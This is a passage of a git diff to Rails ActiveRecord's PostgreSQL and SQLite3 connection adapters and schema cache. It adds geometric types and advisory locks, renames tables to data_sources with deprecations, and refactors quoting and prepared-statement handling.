'arel/visitors/bind_visitor' - -# Make sure we're using pg high enough for Ruby 2.2+ compatibility -gem 'pg', '~> 0.18' -require 'pg' - -require 'ipaddr' - module ActiveRecord module ConnectionHandling # :nodoc: - VALID_CONN_PARAMS = [:host, :hostaddr, :port, :dbname, :user, :password, :connect_timeout, - :client_encoding, :options, :application_name, :fallback_application_name, - :keepalives, :keepalives_idle, :keepalives_interval, :keepalives_count, - :tty, :sslmode, :requiressl, :sslcompression, :sslcert, :sslkey, - :sslrootcert, :sslcrl, :requirepeer, :krbsrvname, :gsslib, :service] - # Establishes a connection to the database that's used by all Active Record objects def postgresql_connection(config) conn_params = config.symbolize_keys @@ -37,7 +29,8 @@ module ActiveRecord conn_params[:dbname] = conn_params.delete(:database) if conn_params[:database] # Forward only valid config params to PGconn.connect. - conn_params.keep_if { |k, _| VALID_CONN_PARAMS.include?(k) } + valid_conn_param_keys = PGconn.conndefaults_hash.keys + [:requiressl] + conn_params.slice!(*valid_conn_param_keys) # The postgres drivers don't allow the creation of an unconnected PGconn object, # so just pass a nil connection object for the time being. @@ -68,17 +61,16 @@ module ActiveRecord # defaults to true. # # Any further options are used as connection parameters to libpq. See - # http://www.postgresql.org/docs/9.1/static/libpq-connect.html for the + # http://www.postgresql.org/docs/current/static/libpq-connect.html for the # list of parameters. # # In addition, default connection parameters of libpq can be set per environment variables. - # See http://www.postgresql.org/docs/9.1/static/libpq-envars.html . + # See http://www.postgresql.org/docs/current/static/libpq-envars.html . class PostgreSQLAdapter < AbstractAdapter ADAPTER_NAME = 'PostgreSQL'.freeze NATIVE_DATABASE_TYPES = { primary_key: "serial primary key", - bigserial: "bigserial", string: { name: "character varying" }, text: { name: "text" }, integer: { name: "integer" }, @@ -95,7 +87,6 @@ module ActiveRecord int8range: { name: "int8range" }, binary: { name: "bytea" }, boolean: { name: "boolean" }, - bigint: { name: "bigint" }, xml: { name: "xml" }, tsvector: { name: "tsvector" }, hstore: { name: "hstore" }, @@ -108,6 +99,12 @@ module ActiveRecord ltree: { name: "ltree" }, citext: { name: "citext" }, point: { name: "point" }, + line: { name: "line" }, + lseg: { name: "lseg" }, + box: { name: "box" }, + path: { name: "path" }, + polygon: { name: "polygon" }, + circle: { name: "circle" }, bit: { name: "bit" }, bit_varying: { name: "bit varying" }, money: { name: "money" }, @@ -119,61 +116,17 @@ module ActiveRecord include PostgreSQL::ReferentialIntegrity include PostgreSQL::SchemaStatements include PostgreSQL::DatabaseStatements - include Savepoints + include PostgreSQL::ColumnDumper def schema_creation # :nodoc: PostgreSQL::SchemaCreation.new self end - def column_spec_for_primary_key(column) - spec = {} - if column.serial? - return unless column.bigint? - spec[:id] = ':bigserial' - elsif column.type == :uuid - spec[:id] = ':uuid' - spec[:default] = column.default_function.inspect - else - spec[:id] = column.type.inspect - spec.merge!(prepare_column_options(column).delete_if { |key, _| [:name, :type, :null].include?(key) }) - end - spec - end - - # Adds +:array+ option to the default set provided by the - # AbstractAdapter - def prepare_column_options(column) # :nodoc: - spec = super - spec[:array] = 'true' if column.array? - spec - end - - # Adds +:array+ as a valid migration key - def migration_keys - super + [:array] - end - - def schema_type(column) - return super unless column.serial? - - if column.bigint? - 'bigserial' - else - 'serial' - end + def arel_visitor # :nodoc: + Arel::Visitors::PostgreSQL.new(self) end - private :schema_type - def schema_default(column) - if column.default_function - column.default_function.inspect unless column.serial? - else - super - end - end - private :schema_default - - # Returns +true+, since this connection adapter supports prepared statement + # Returns true, since this connection adapter supports prepared statement # caching. def supports_statement_cache? true @@ -187,6 +140,10 @@ module ActiveRecord true end + def supports_expression_index? + true + end + def supports_transaction_isolation? true end @@ -203,52 +160,39 @@ module ActiveRecord true end + def supports_json? + postgresql_version >= 90200 + end + + def supports_comments? + true + end + + def supports_savepoints? + true + end + def index_algorithms { concurrently: 'CONCURRENTLY' } end class StatementPool < ConnectionAdapters::StatementPool def initialize(connection, max) - super + super(max) + @connection = connection @counter = 0 - @cache = Hash.new { |h,pid| h[pid] = {} } end - def each(&block); cache.each(&block); end - def key?(key); cache.key?(key); end - def [](key); cache[key]; end - def length; cache.length; end - def next_key "a#{@counter + 1}" end def []=(sql, key) - while @max <= cache.size - dealloc(cache.shift.last) - end - @counter += 1 - cache[sql] = key - end - - def clear - cache.each_value do |stmt_key| - dealloc stmt_key - end - cache.clear - end - - def delete(sql_key) - dealloc cache[sql_key] - cache.delete sql_key + super.tap { @counter += 1 } end private - def cache - @cache[Process.pid] - end - def dealloc(key) @connection.query "DEALLOCATE #{key}" if connection_active? end @@ -262,31 +206,25 @@ module ActiveRecord # Initializes and connects a PostgreSQL adapter. def initialize(connection, logger, connection_parameters, config) - super(connection, logger) + super(connection, logger, config) - @visitor = Arel::Visitors::PostgreSQL.new self - if self.class.type_cast_config_to_boolean(config.fetch(:prepared_statements) { true }) - @prepared_statements = true - else - @prepared_statements = false - end - - @connection_parameters, @config = connection_parameters, config + @connection_parameters = connection_parameters # @local_tz is initialized as nil to avoid warnings when connect tries to use it @local_tz = nil @table_alias_length = nil connect - add_pg_decoders - + add_pg_encoders @statements = StatementPool.new @connection, - self.class.type_cast_config_to_integer(config.fetch(:statement_limit) { 1000 }) + self.class.type_cast_config_to_integer(config[:statement_limit]) - if postgresql_version < 80200 - raise "Your version of PostgreSQL (#{postgresql_version}) is too old, please upgrade!" + if postgresql_version < 90100 + raise "Your version of PostgreSQL (#{postgresql_version}) is too old. Active Record supports PostgreSQL >= 9.1." end + add_pg_decoders + @type_map = Type::HashLookupTypeMap.new initialize_type_map(type_map) @local_tz = execute('SHOW TIME ZONE', 'SCHEMA').first["TimeZone"] @@ -348,25 +286,24 @@ module ActiveRecord true end - # Enable standard-conforming strings if available. def set_standard_conforming_strings - old, self.client_min_messages = client_min_messages, 'panic' - execute('SET standard_conforming_strings = on', 'SCHEMA') rescue nil - ensure - self.client_min_messages = old + execute('SET standard_conforming_strings = on', 'SCHEMA') end def supports_ddl_transactions? true end + def supports_advisory_locks? + true + end + def supports_explain? true end - # Returns true if pg > 9.1 def supports_extensions? - postgresql_version >= 90100 + true end # Range datatypes weren't introduced until PostgreSQL 9.2 @@ -378,6 +315,20 @@ module ActiveRecord postgresql_version >= 90300 end + def get_advisory_lock(lock_id) # :nodoc: + unless lock_id.is_a?(Integer) && lock_id.bit_length <= 63 + raise(ArgumentError, "Postgres requires advisory lock ids to be a signed 64 bit integer") + end + select_value("SELECT pg_try_advisory_lock(#{lock_id});") + end + + def release_advisory_lock(lock_id) # :nodoc: + unless lock_id.is_a?(Integer) && lock_id.bit_length <= 63 + raise(ArgumentError, "Postgres requires advisory lock ids to be a signed 64 bit integer") + end + select_value("SELECT pg_advisory_unlock(#{lock_id})") + end + def enable_extension(name) exec_query("CREATE EXTENSION IF NOT EXISTS \"#{name}\"").tap { reload_type_map @@ -444,14 +395,15 @@ module ActiveRecord "average" => "avg", } - protected + # Returns the version of the connected PostgreSQL server. + def postgresql_version + @connection.server_version + end - # Returns the version of the connected PostgreSQL server. - def postgresql_version - @connection.server_version - end + protected - # See http://www.postgresql.org/docs/9.1/static/errcodes-appendix.html + # See http://www.postgresql.org/docs/current/static/errcodes-appendix.html + VALUE_LIMIT_VIOLATION = "22001" FOREIGN_KEY_VIOLATION = "23503" UNIQUE_VIOLATION = "23505" @@ -460,9 +412,11 @@ module ActiveRecord case exception.result.try(:error_field, PGresult::PG_DIAG_SQLSTATE) when UNIQUE_VIOLATION - RecordNotUnique.new(message, exception) + RecordNotUnique.new(message) when FOREIGN_KEY_VIOLATION - InvalidForeignKey.new(message, exception) + InvalidForeignKey.new(message) + when VALUE_LIMIT_VIOLATION + ValueTooLong.new(message) else super end @@ -515,15 +469,15 @@ module ActiveRecord m.register_type 'macaddr', OID::SpecializedString.new(:macaddr) m.register_type 'citext', OID::SpecializedString.new(:citext) m.register_type 'ltree', OID::SpecializedString.new(:ltree) + m.register_type 'line', OID::SpecializedString.new(:line) + m.register_type 'lseg', OID::SpecializedString.new(:lseg) + m.register_type 'box', OID::SpecializedString.new(:box) + m.register_type 'path', OID::SpecializedString.new(:path) + m.register_type 'polygon', OID::SpecializedString.new(:polygon) + m.register_type 'circle', OID::SpecializedString.new(:circle) # FIXME: why are we keeping these types as strings? m.alias_type 'interval', 'varchar' - m.alias_type 'path', 'varchar' - m.alias_type 'line', 'varchar' - m.alias_type 'polygon', 'varchar' - m.alias_type 'circle', 'varchar' - m.alias_type 'lseg', 'varchar' - m.alias_type 'box', 'varchar' register_class_with_precision m, 'time', Type::Time register_class_with_precision m, 'timestamp', OID::DateTime @@ -566,10 +520,15 @@ module ActiveRecord def extract_value_from_default(default) # :nodoc: case default # Quoted types - when /\A[\(B]?'(.*)'::/m - $1.gsub(/''/, "'") + when /\A[\(B]?'(.*)'.*::"?([\w. ]+)"?(?:\[\])?\z/m + # The default 'now'::date is CURRENT_DATE + if $1 == "now".freeze && $2 == "date".freeze + nil + else + $1.gsub("''".freeze, "'".freeze) + end # Boolean types - when 'true', 'false' + when 'true'.freeze, 'false'.freeze default # Numeric types when /\A\(?(-?\d+(\.\d*)?)\)?(::bigint)?\z/ @@ -589,10 +548,12 @@ module ActiveRecord end def has_default_function?(default_value, default) # :nodoc: - !default_value && (%r{\w+\(.*\)} === default) + !default_value && (%r{\w+\(.*\)|\(.*\)::\w+} === default) end def load_additional_types(type_map, oids = nil) # :nodoc: + initializer = OID::TypeMapInitializer.new(type_map) + if supports_ranges? query = <<-SQL SELECT t.oid, t.typname, t.typelem, t.typdelim, t.typinput, r.rngsubtype, t.typtype, t.typbasetype @@ -608,25 +569,33 @@ module ActiveRecord if oids query += "WHERE t.oid::integer IN (%s)" % oids.join(", ") + else + query += initializer.query_conditions_for_initial_load(type_map) end - initializer = OID::TypeMapInitializer.new(type_map) - records = execute(query, 'SCHEMA') - initializer.run(records) + execute_and_clear(query, 'SCHEMA', []) do |records| + initializer.run(records) + end end FEATURE_NOT_SUPPORTED = "0A000" #:nodoc: - def execute_and_clear(sql, name, binds) - result = without_prepared_statement?(binds) ? exec_no_cache(sql, name, binds) : - exec_cache(sql, name, binds) + def execute_and_clear(sql, name, binds, prepare: false) + if without_prepared_statement?(binds) + result = exec_no_cache(sql, name, []) + elsif !prepare + result = exec_no_cache(sql, name, binds) + else + result = exec_cache(sql, name, binds) + end ret = yield result result.clear ret end def exec_no_cache(sql, name, binds) - log(sql, name, binds) { @connection.async_exec(sql, []) } + type_casted_binds = binds.map { |attr| type_cast(attr.value_for_database) } + log(sql, name, binds) { @connection.async_exec(sql, type_casted_binds) } end def exec_cache(sql, name, binds) @@ -637,25 +606,41 @@ module ActiveRecord @connection.exec_prepared(stmt_key, type_casted_binds) end rescue ActiveRecord::StatementInvalid => e - pgerror = e.original_exception - - # Get the PG code for the failure. Annoyingly, the code for - # prepared statements whose return value may have changed is - # FEATURE_NOT_SUPPORTED. Check here for more details: - # http://git.postgresql.org/gitweb/?p=postgresql.git;a=blob;f=src/backend/utils/cache/plancache.c#l573 - begin - code = pgerror.result.result_error_field(PGresult::PG_DIAG_SQLSTATE) - rescue - raise e - end - if FEATURE_NOT_SUPPORTED == code + raise unless is_cached_plan_failure?(e) + + # Nothing we can do if we are in a transaction because all commands + # will raise InFailedSQLTransaction + if in_transaction? + raise ActiveRecord::PreparedStatementCacheExpired.new(e.cause.message) + else + # outside of transactions we can simply flush this query and retry @statements.delete sql_key(sql) retry - else - raise e end end + # Annoyingly, the code for prepared statements whose return value may + # have changed is FEATURE_NOT_SUPPORTED. + # + # This covers various different error types so we need to do additional + # work to classify the exception definitively as a + # ActiveRecord::PreparedStatementCacheExpired + # + # Check here for more details: + # http://git.postgresql.org/gitweb/?p=postgresql.git;a=blob;f=src/backend/utils/cache/plancache.c#l573 + CACHED_PLAN_HEURISTIC = 'cached plan must not change result type'.freeze + def is_cached_plan_failure?(e) + pgerror = e.cause + code = pgerror.result.result_error_field(PGresult::PG_DIAG_SQLSTATE) + code == FEATURE_NOT_SUPPORTED && pgerror.message.include?(CACHED_PLAN_HEURISTIC) + rescue + false + end + + def in_transaction? + open_transactions > 0 + end + # Returns the statement identifier for the client side cache # of statements def sql_key(sql) @@ -684,16 +669,10 @@ module ActiveRecord # connected server's characteristics. def connect @connection = PGconn.connect(@connection_parameters) - - # Money type has a fixed precision of 10 in PostgreSQL 8.2 and below, and as of - # PostgreSQL 8.3 it has a fixed precision of 19. PostgreSQLColumn.extract_precision - # should know about this but can't detect it there, so deal with it here. - OID::Money.precision = (postgresql_version >= 80300) ? 19 : 10 - configure_connection rescue ::PG::Error => error if error.message.include?("does not exist") - raise ActiveRecord::NoDatabaseError.new(error.message, error) + raise ActiveRecord::NoDatabaseError else raise end @@ -708,7 +687,7 @@ module ActiveRecord self.client_min_messages = @config[:min_messages] || 'warning' self.schema_search_path = @config[:schema_search_path] || @config[:schema_order] - # Use standard-conforming strings if available so we don't have to do the E'...' dance. + # Use standard-conforming strings so we don't have to do the E'...' dance. set_standard_conforming_strings # If using Active Record's time zone support configure the connection to return @@ -721,7 +700,7 @@ module ActiveRecord end # SET statements from :variables config hash - # http://www.postgresql.org/docs/8.3/static/sql-set.html + # http://www.postgresql.org/docs/current/static/sql-set.html variables = @config[:variables] || {} variables.map do |k, v| if v == ':default' || v == :default @@ -734,22 +713,14 @@ module ActiveRecord end # Returns the current ID of a table's sequence. - def last_insert_id(sequence_name) #:nodoc: - Integer(last_insert_id_value(sequence_name)) - end - - def last_insert_id_value(sequence_name) - last_insert_id_result(sequence_name).rows.first.first - end - - def last_insert_id_result(sequence_name) #:nodoc: + def last_insert_id_result(sequence_name) # :nodoc: exec_query("SELECT currval('#{sequence_name}')", 'SQL') end # Returns the list of a table's column names, data types, and default values. # # The underlying query is roughly: - # SELECT column.name, column.type, default.value + # SELECT column.name, column.type, default.value, column.comment # FROM column LEFT JOIN default # ON column.table_id = default.table_id # AND column.num = default.column_num @@ -765,9 +736,12 @@ module ActiveRecord # - format_type includes the column size constraint, e.g. varchar(50) # - ::regclass is a function that gives the id for a table name def column_definitions(table_name) # :nodoc: - exec_query(<<-end_sql, 'SCHEMA').rows + query(<<-end_sql, 'SCHEMA') SELECT a.attname, format_type(a.atttypid, a.atttypmod), - pg_get_expr(d.adbin, d.adrelid), a.attnotnull, a.atttypid, a.atttypmod + pg_get_expr(d.adbin, d.adrelid), a.attnotnull, a.atttypid, a.atttypmod, + (SELECT c.collname FROM pg_collation c, pg_type t + WHERE c.oid = a.attcollation AND t.oid = a.atttypid AND a.attcollation <> t.typcollation), + col_description(a.attrelid, a.attnum) AS comment FROM pg_attribute a LEFT JOIN pg_attrdef d ON a.attrelid = d.adrelid AND a.attnum = d.adnum WHERE a.attrelid = '#{quote_table_name(table_name)}'::regclass @@ -777,12 +751,12 @@ module ActiveRecord end def extract_table_ref_from_insert_sql(sql) # :nodoc: - sql[/into\s+([^\(]*).*values\s*\(/im] + sql[/into\s("[A-Za-z0-9_."\[\]\s]+"|[A-Za-z0-9_."\[\]]+)\s*/im] $1.strip if $1 end - def create_table_definition(name, temporary = false, options = nil, as = nil) # :nodoc: - PostgreSQL::TableDefinition.new native_database_types, name, temporary, options, as + def create_table_definition(*args) # :nodoc: + PostgreSQL::TableDefinition.new(*args) end def can_perform_case_insensitive_comparison_for?(column) @@ -798,11 +772,20 @@ module ActiveRecord ) end_sql execute_and_clear(sql, "SCHEMA", []) do |result| - result.getvalue(0, 0) == 't' + result.getvalue(0, 0) end end end + def add_pg_encoders + map = PG::TypeMapByClass.new + map[Integer] = PG::TextEncoder::Integer.new + map[TrueClass] = PG::TextEncoder::Boolean.new + map[FalseClass] = PG::TextEncoder::Boolean.new + map[Float] = PG::TextEncoder::Float.new + @connection.type_map_for_queries = map + end + def add_pg_decoders coders_by_name = { 'int2' => PG::TextDecoder::Integer, @@ -813,13 +796,15 @@ module ActiveRecord 'float8' => PG::TextDecoder::Float, 'bool' => PG::TextDecoder::Boolean, } - query = <<-SQL - SELECT t.oid, t.typname, t.typelem, t.typdelim, t.typinput, t.typtype, t.typbasetype + known_coder_types = coders_by_name.keys.map { |n| quote(n) } + query = <<-SQL % known_coder_types.join(", ") + SELECT t.oid, t.typname FROM pg_type as t + WHERE t.typname IN (%s) SQL coders = execute_and_clear(query, "SCHEMA", []) do |result| result - .map { |row| construct_coder(row, coders_by_name['typname']) } + .map { |row| construct_coder(row, coders_by_name[row['typname']]) } .compact end @@ -830,7 +815,7 @@ module ActiveRecord def construct_coder(row, coder_class) return unless coder_class - coder_class.new(oid: row['oid'], name: row['typname']) + coder_class.new(oid: row['oid'].to_i, name: row['typname']) end ActiveRecord::Type.add_modifier({ array: true }, OID::Array, adapter: :postgresql) @@ -839,7 +824,7 @@ module ActiveRecord ActiveRecord::Type.register(:bit_varying, OID::BitVarying, adapter: :postgresql) ActiveRecord::Type.register(:binary, OID::Bytea, adapter: :postgresql) ActiveRecord::Type.register(:cidr, OID::Cidr, adapter: :postgresql) - ActiveRecord::Type.register(:date_time, OID::DateTime, adapter: :postgresql) + ActiveRecord::Type.register(:datetime, OID::DateTime, adapter: :postgresql) ActiveRecord::Type.register(:decimal, OID::Decimal, adapter: :postgresql) ActiveRecord::Type.register(:enum, OID::Enum, adapter: :postgresql) ActiveRecord::Type.register(:hstore, OID::Hstore, adapter: :postgresql) @@ -847,7 +832,8 @@ module ActiveRecord ActiveRecord::Type.register(:json, OID::Json, adapter: :postgresql) ActiveRecord::Type.register(:jsonb, OID::Jsonb, adapter: :postgresql) ActiveRecord::Type.register(:money, OID::Money, adapter: :postgresql) - ActiveRecord::Type.register(:point, OID::Point, adapter: :postgresql) + ActiveRecord::Type.register(:point, OID::Rails51Point, adapter: :postgresql) + ActiveRecord::Type.register(:legacy_point, OID::Point, adapter: :postgresql) ActiveRecord::Type.register(:uuid, OID::Uuid, adapter: :postgresql) ActiveRecord::Type.register(:vector, OID::Vector, adapter: :postgresql) ActiveRecord::Type.register(:xml, OID::Xml, adapter: :postgresql) diff --git a/activerecord/lib/active_record/connection_adapters/schema_cache.rb b/activerecord/lib/active_record/connection_adapters/schema_cache.rb index 37ff4e4613..eee142378c 100644 --- a/activerecord/lib/active_record/connection_adapters/schema_cache.rb +++ b/activerecord/lib/active_record/connection_adapters/schema_cache.rb @@ -10,33 +10,46 @@ module ActiveRecord @columns = {} @columns_hash = {} @primary_keys = {} - @tables = {} + @data_sources = {} + end + + def initialize_dup(other) + super + @columns = @columns.dup + @columns_hash = @columns_hash.dup + @primary_keys = @primary_keys.dup + @data_sources = @data_sources.dup end def primary_keys(table_name) - @primary_keys[table_name] ||= table_exists?(table_name) ? connection.primary_key(table_name) : nil + @primary_keys[table_name] ||= data_source_exists?(table_name) ? connection.primary_key(table_name) : nil end # A cached lookup for table existence. - def table_exists?(name) - prepare_tables if @tables.empty? - return @tables[name] if @tables.key? name + def data_source_exists?(name) + prepare_data_sources if @data_sources.empty? + return @data_sources[name] if @data_sources.key? name - @tables[name] = connection.table_exists?(name) + @data_sources[name] = connection.data_source_exists?(name) end + alias table_exists? data_source_exists? + deprecate :table_exists? => "use #data_source_exists? instead" + # Add internal cache for table with +table_name+. def add(table_name) - if table_exists?(table_name) + if data_source_exists?(table_name) primary_keys(table_name) columns(table_name) columns_hash(table_name) end end - def tables(name) - @tables[name] + def data_sources(name) + @data_sources[name] end + alias tables data_sources + deprecate :tables => "use #data_sources instead" # Get the columns for a table def columns(table_name) @@ -56,36 +69,38 @@ module ActiveRecord @columns.clear @columns_hash.clear @primary_keys.clear - @tables.clear + @data_sources.clear @version = nil end def size - [@columns, @columns_hash, @primary_keys, @tables].map(&:size).inject :+ + [@columns, @columns_hash, @primary_keys, @data_sources].map(&:size).inject :+ end - # Clear out internal caches for table with +table_name+. - def clear_table_cache!(table_name) - @columns.delete table_name - @columns_hash.delete table_name - @primary_keys.delete table_name - @tables.delete table_name + # Clear out internal caches for the data source +name+. + def clear_data_source_cache!(name) + @columns.delete name + @columns_hash.delete name + @primary_keys.delete name + @data_sources.delete name end + alias clear_table_cache! clear_data_source_cache! + deprecate :clear_table_cache! => "use #clear_data_source_cache! instead" def marshal_dump # if we get current version during initialization, it happens stack over flow. @version = ActiveRecord::Migrator.current_version - [@version, @columns, @columns_hash, @primary_keys, @tables] + [@version, @columns, @columns_hash, @primary_keys, @data_sources] end def marshal_load(array) - @version, @columns, @columns_hash, @primary_keys, @tables = array + @version, @columns, @columns_hash, @primary_keys, @data_sources = array end private - def prepare_tables - connection.tables.each { |table| @tables[table] = true } + def prepare_data_sources + connection.data_sources.each { |source| @data_sources[source] = true } end end end diff --git a/activerecord/lib/active_record/connection_adapters/sqlite3/explain_pretty_printer.rb b/activerecord/lib/active_record/connection_adapters/sqlite3/explain_pretty_printer.rb new file mode 100644 index 0000000000..a946f5ebd0 --- /dev/null +++ b/activerecord/lib/active_record/connection_adapters/sqlite3/explain_pretty_printer.rb @@ -0,0 +1,19 @@ +module ActiveRecord + module ConnectionAdapters + module SQLite3 + class ExplainPrettyPrinter # :nodoc: + # Pretty prints the result of an EXPLAIN QUERY PLAN in a way that resembles + # the output of the SQLite shell: + # + # 0|0|0|SEARCH TABLE users USING INTEGER PRIMARY KEY (rowid=?) (~1 rows) + # 0|1|1|SCAN TABLE posts (~100000 rows) + # + def pp(result) + result.rows.map do |row| + row.join('|') + end.join("\n") + "\n" + end + end + end + end +end diff --git a/activerecord/lib/active_record/connection_adapters/sqlite3/quoting.rb b/activerecord/lib/active_record/connection_adapters/sqlite3/quoting.rb new file mode 100644 index 0000000000..d5a181d3e2 --- /dev/null +++ b/activerecord/lib/active_record/connection_adapters/sqlite3/quoting.rb @@ -0,0 +1,48 @@ +module ActiveRecord + module ConnectionAdapters + module SQLite3 + module Quoting # :nodoc: + def quote_string(s) + @connection.class.quote(s) + end + + def quote_table_name_for_assignment(table, attr) + quote_column_name(attr) + end + + def quote_column_name(name) + @quoted_column_names[name] ||= %Q("#{super.gsub('"', '""')}") + end + + def quoted_time(value) + quoted_date(value) + end + + private + + def _quote(value) + if value.is_a?(Type::Binary::Data) + "x'#{value.hex}'" + else + super + end + end + + def _type_cast(value) + case value + when BigDecimal + value.to_f + when String + if value.encoding == Encoding::ASCII_8BIT + super(value.encode(Encoding::UTF_8)) + else + super + end + else + super + end + end + end + end + end +end diff --git a/activerecord/lib/active_record/connection_adapters/sqlite3/schema_creation.rb b/activerecord/lib/active_record/connection_adapters/sqlite3/schema_creation.rb new file mode 100644 index 0000000000..70c0d28830 --- /dev/null +++ b/activerecord/lib/active_record/connection_adapters/sqlite3/schema_creation.rb @@ -0,0 +1,22 @@ +module ActiveRecord + module ConnectionAdapters + module SQLite3 + class SchemaCreation < AbstractAdapter::SchemaCreation + private + + def column_options(o) + options = super + options[:null] = false if o.primary_key + options + end + + def add_column_options!(sql, options) + if options[:collation] + sql << " COLLATE \"#{options[:collation]}\"" + end + super + end + end + end + end +end diff --git a/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb b/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb index 7e184dd510..eb2268157b 100644 --- a/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb +++ b/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb @@ -1,13 +1,14 @@ require 'active_record/connection_adapters/abstract_adapter' require 'active_record/connection_adapters/statement_pool' -require 'arel/visitors/bind_visitor' +require 'active_record/connection_adapters/sqlite3/explain_pretty_printer' +require 'active_record/connection_adapters/sqlite3/quoting' +require 'active_record/connection_adapters/sqlite3/schema_creation' gem 'sqlite3', '~> 1.3.6' require 'sqlite3' module ActiveRecord module ConnectionHandling # :nodoc: - # sqlite3 adapter reuses sqlite_connection. def sqlite3_connection(config) # Require database. unless config[:database] @@ -33,7 +34,7 @@ module ActiveRecord ConnectionAdapters::SQLite3Adapter.new(db, logger, nil, config) rescue Errno::ENOENT => error if error.message.include?("No such file or directory") - raise ActiveRecord::NoDatabaseError.new(error.message, error) + raise ActiveRecord::NoDatabaseError else raise end @@ -49,7 +50,8 @@ module ActiveRecord # * <tt>:database</tt> - Path to the database file. class SQLite3Adapter < AbstractAdapter ADAPTER_NAME = 'SQLite'.freeze - include Savepoints + + include SQLite3::Quoting NATIVE_DATABASE_TYPES = { primary_key: 'INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL', @@ -65,69 +67,27 @@ module ActiveRecord boolean: { name: "boolean" } } - class Version - include Comparable - - def initialize(version_string) - @version = version_string.split('.').map(&:to_i) - end - - def <=>(version_string) - @version <=> version_string.split('.').map(&:to_i) - end - end - class StatementPool < ConnectionAdapters::StatementPool - def initialize(connection, max) - super - @cache = Hash.new { |h,pid| h[pid] = {} } - end - - def each(&block); cache.each(&block); end - def key?(key); cache.key?(key); end - def [](key); cache[key]; end - def length; cache.length; end - - def []=(sql, key) - while @max <= cache.size - dealloc(cache.shift.last[:stmt]) - end - cache[sql] = key - end - - def clear - cache.each_value do |hash| - dealloc hash[:stmt] - end - cache.clear - end - private - def cache - @cache[$$] - end def dealloc(stmt) - stmt.close unless stmt.closed? + stmt[:stmt].close unless stmt[:stmt].closed? end end - def initialize(connection, logger, connection_options, config) - super(connection, logger) + def schema_creation # :nodoc: + SQLite3::SchemaCreation.new self + end - @active = nil - @statements = StatementPool.new(@connection, - self.class.type_cast_config_to_integer(config.fetch(:statement_limit) { 1000 })) - @config = config + def arel_visitor # :nodoc: + Arel::Visitors::SQLite.new(self) + end - @visitor = Arel::Visitors::SQLite.new self - @quoted_column_names = {} + def initialize(connection, logger, connection_options, config) + super(connection, logger, config) - if self.class.type_cast_config_to_boolean(config.fetch(:prepared_statements) { true }) - @prepared_statements = true - else - @prepared_statements = false - end + @active = nil + @statements = StatementPool.new(self.class.type_cast_config_to_integer(config[:statement_limit])) end def supports_ddl_transactions? @@ -165,6 +125,14 @@ module ActiveRecord true end + def supports_datetime_with_precision? + true + end + + def supports_multi_insert? + sqlite_version >= '3.7.11' + end + def active? @active != false end @@ -186,6 +154,10 @@ module ActiveRecord true end + def valid_type?(type) + true + end + # Returns 62. SQLite supports index names up to 64 # characters. The rest is used by rails internally to perform # temporary rename operations @@ -206,76 +178,27 @@ module ActiveRecord true end - # QUOTING ================================================== - - def _quote(value) # :nodoc: - case value - when Type::Binary::Data - "x'#{value.hex}'" - else - super - end - end - - def _type_cast(value) # :nodoc: - case value - when BigDecimal - value.to_f - when String - if value.encoding == Encoding::ASCII_8BIT - super(value.encode(Encoding::UTF_8)) - else - super - end - else - super - end - end - - def quote_string(s) #:nodoc: - @connection.class.quote(s) - end - - def quote_table_name_for_assignment(table, attr) - quote_column_name(attr) - end - - def quote_column_name(name) #:nodoc: - @quoted_column_names[name] ||= %Q("#{name.to_s.gsub('"', '""')}") - end - #-- # DATABASE STATEMENTS ====================================== #++ def explain(arel, binds = []) sql = "EXPLAIN QUERY PLAN #{to_sql(arel, binds)}" - ExplainPrettyPrinter.new.pp(exec_query(sql, 'EXPLAIN', [])) - end - - class ExplainPrettyPrinter - # Pretty prints the result of a EXPLAIN QUERY PLAN in a way that resembles - # the output of the SQLite shell: - # - # 0|0|0|SEARCH TABLE users USING INTEGER PRIMARY KEY (rowid=?) (~1 rows) - # 0|1|1|SCAN TABLE posts (~100000 rows) - # - def pp(result) # :nodoc: - result.rows.map do |row| - row.join('|') - end.join("\n") + "\n" - end + SQLite3::ExplainPrettyPrinter.new.pp(exec_query(sql, 'EXPLAIN', [])) end - def exec_query(sql, name = nil, binds = []) + def exec_query(sql, name = nil, binds = [], prepare: false) type_casted_binds = binds.map { |attr| type_cast(attr.value_for_database) } log(sql, name, binds) do # Don't cache statements if they are not prepared - if without_prepared_statement?(binds) + unless prepare stmt = @connection.prepare(sql) begin cols = stmt.columns + unless without_prepared_statement?(binds) + stmt.bind_params(type_casted_binds) + end records = stmt.to_a ensure stmt.close @@ -288,7 +211,7 @@ module ActiveRecord stmt = cache[:stmt] cols = cache[:cols] ||= stmt.columns stmt.reset! - stmt.bind_params type_casted_binds + stmt.bind_params(type_casted_binds) end ActiveRecord::Result.new(cols, stmt.to_a) @@ -309,26 +232,6 @@ module ActiveRecord log(sql, name) { @connection.execute(sql) } end - def update_sql(sql, name = nil) #:nodoc: - super - @connection.changes - end - - def delete_sql(sql, name = nil) #:nodoc: - sql += " WHERE 1=1" unless sql =~ /WHERE/i - super sql, name - end - - def insert_sql(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil) #:nodoc: - super - id_value || @connection.last_insert_row_id - end - alias :create :insert_sql - - def select_rows(sql, name = nil, binds = []) - exec_query(sql, name, binds).rows - end - def begin_db_transaction #:nodoc: log('begin transaction',nil) { @connection.transaction } end @@ -343,25 +246,61 @@ module ActiveRecord # SCHEMA STATEMENTS ======================================== - def tables(name = nil, table_name = nil) #:nodoc: - sql = <<-SQL - SELECT name - FROM sqlite_master - WHERE (type = 'table' OR type = 'view') AND NOT name = 'sqlite_sequence' - SQL - sql << " AND name = #{quote_table_name(table_name)}" if table_name - - exec_query(sql, 'SCHEMA').map do |row| - row['name'] + def tables(name = nil) # :nodoc: + ActiveSupport::Deprecation.warn(<<-MSG.squish) + #tables currently returns both tables and views. + This behavior is deprecated and will be changed with Rails 5.1 to only return tables. + Use #data_sources instead. + MSG + + if name + ActiveSupport::Deprecation.warn(<<-MSG.squish) + Passing arguments to #tables is deprecated without replacement. + MSG end + + data_sources + end + + def data_sources + select_values("SELECT name FROM sqlite_master WHERE type IN ('table','view') AND name <> 'sqlite_sequence'", 'SCHEMA') end def table_exists?(table_name) - table_name && tables(nil, table_name).any? + ActiveSupport::Deprecation.warn(<<-MSG.squish) + #table_exists? currently checks both tables and views. + This behavior is deprecated and will be changed with Rails 5.1 to only check tables. + Use #data_source_exists? instead. + MSG + + 